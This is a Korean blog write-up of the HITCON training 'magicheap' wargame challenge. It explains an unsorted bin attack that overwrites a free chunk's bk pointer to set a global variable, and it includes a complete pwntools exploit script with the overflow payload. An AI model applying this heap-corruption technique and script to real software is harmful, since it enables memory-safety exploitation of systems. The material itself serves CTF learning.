hint : unsorted bin attack
우선 이 문제는 쉘을 직접 획득하지 않고 magic이라는 전역변수에 0x1305보다 큰 값이 들어가면 l33t()라는 함수를 실행시켜준다.
unsroted bin attack으로 magic변수에 값을 넣어주면 문제를 해결할 수 있다.
우선 unsorted bin attack이 가능하게 할 조건은 아래와 같다.
1. 공격자에 의해 Unsorted chunk를 생성 할 수있어야 한다.
2. 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 한다.
3. 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 한다.
이 문제는 위 조건에 대해 막는 부분이 없기 때문에 손쉽게 익스를 할 수 있다.
익스 방법은 create()함수로 3번의 할당을 받는다.
그리고 delete()로 두번째 heap영역을 free시켜주면 unsorted bin chunk가 생긴다.
그 다음 첫번째 heap 영역을 edit()함수로 오버플로우해서 2번째 chunk의 bk를 magic - 16으로 덮는다.
그리고 다시 create()함수로 free된 chunk의 사이즈와 같은 사이즈로 새 할당을 받으면 bk값을 확인한 후 다음 chunk가 존재한다고 판단해서 main_arena+88의 주소를 magic에 넣게 된다.
free() 함수는 magic - 16 영역이 다음 chunk이기 때문에 fd 영역(magic)에 free chunk의 fd값을 저장한다.
exploit code
from pwn import *
def create(size, content):
r.sendline("1")
#r.recv()
r.sendline(str(size))
#r.recv()
r.send(content)
#r.recv()
def edit(index, size, content):
r.sendline("2")
#r.recv()
r.sendline(str(index))
#r.recv()
r.sendline(str(size))
#r.recv()
r.sendline(content)
#r.recv()
def delete(index):
r.sendline("3")
#r.recv()
r.sendline(str(index))
#r.recv()
if __name__ == "__main__":
r = process("./magicheap")
create(150, "AAAA")
create(150, "BBBB")
create(150, "CCCC")
delete(1)
payload = "D"*152
payload += p64(0xa1)
payload += p64(0)
payload += p64(0x6020b0)
edit(0, 176, payload)
pause()
create(150, "1111")
r.sendline("4869")
r.interactive()
'Wargame > Hitcon training' 카테고리의 다른 글
| HITCON training lab11 (house of force) (0) | 2018.10.29 |
|---|---|
| HITCON training lab10 (0) | 2018.10.25 |
| HITCON training lab6 (0) | 2018.10.22 |
| HITCON training lab4 (0) | 2018.10.18 |
| HITCON training lab5 (0) | 2018.10.16 |